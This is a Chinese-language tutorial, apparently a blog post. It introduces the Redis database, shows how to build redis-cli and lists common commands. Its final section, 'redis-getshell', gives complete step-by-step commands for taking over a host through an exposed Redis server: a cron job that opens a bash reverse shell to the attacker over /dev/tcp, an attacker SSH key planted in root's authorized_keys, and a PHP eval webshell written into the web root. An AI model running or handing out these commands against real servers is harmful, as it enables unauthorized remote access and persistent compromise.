简介
Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
redis服务于传统服务器不同,redis是内存数据库,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作,因此redis被广泛应用于缓存。
连接redis服务
首先下载redis-cli(专用于redis服务的命令程序)
下载程序
wget http://download.redis.io/redis-stable.tar.gz
解压
tar -zxf redis-stable.tar.gz
编译
cd redis-stable #进入目录
make #编译文件
进入解压好的文件夹(这里我将此程序换了位置改了名字)
编译文件
此时会出现很多数据,不要退出,可能会跑一会儿
创建链接
编译完成后需要将src目录下的redis_cli程序创建一个链接,方便后续利用
ln -s /home/kali/tools/redis_连接工具/src/redis-cli /usr/local/bin/redis-cli
这样就能再任何目录运行此命令
redis的一些常用命令
启动 Redis 服务:
redis-server
连接到 Redis 服务:
redis-cli
设置键值对:
SET key value
获取键对应的值:
GET key
删除键值对:
DEL key
检查键是否存在:
EXISTS key
设置键的过期时间:
EXPIRE key seconds
查看键的剩余过期时间:
TTL key
查看键的类型:
TYPE key
获取所有键:
KEYS pattern
设置列表:
LPUSH key value1 [value2 ...]
获取列表:
LRANGE key start stop
设置哈希表:
HSET key field value
获取哈希表中的值:
HGET key field
设置集合:
SADD key member1 [member2 ...]
获取集合:
SMEMBERS key
获取有关Redis服务器的信息和统计信息:
info
获取索引为 0 的数据库中键的数量:
dbsize
redis-getshell
常规的拿到shell的方式有三种
- 写定时任务拿到shell
- 通过写ssh key的方式拿到shell
- 直接再目录里写webshell
写定时任务拿到shell
其实和常规写定时任务是一样的道理,也都是写个文件到crontalbs这些定时文件夹里,或者直接覆盖crontab
-
第一步:上线redis
redis-cli -h 10.129.136.187 -p 6379
-
第二步:设置文件夹路径为/var/spool/cron/crontabs
config set dir /var/spool/cron/crontabs
-
第三步:设置备份文件名
config set dbfilename getshell
-
第四步:设置键对值
set shell '\n\n\n*****bash -i >& /dev/tcp/攻击机ip/攻击机监听端口 0>&1'
-
第五步:保存
save
然后等待一会儿等攻击机监听到流量即可
通过写ssh key的方式拿到shell
此方法成功的先决条件是
- redis服务是以root登录的
- 开始22端口并且允许使用密钥登录
- 首先攻击机本地生成一个公钥文件
ssh-keygen -t rsa- 然后得到一个公钥和私钥
- 给公钥添加换行符写到txt文件里
(echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > pub.txt- 写入公钥到被攻击机
config set dir /root/.ssh
config set dbfilename 'authorized_keys'
config set shell 'pub.txt的值'
save- 最后使用攻击机生成的私钥登录即可
ssh -i id_rsa root@被攻击机ip
直接写webshell
先决条件
- 已知网站根目录
- 登录redis的用户在网站根目录有可写权限
- config set dir /var/www/123.com/html
- config set dbfilename shell.php
- set shell '<?= eval($_POST[a]);>'
- save
后续直接使用蚁剑冰蝎这些上线即可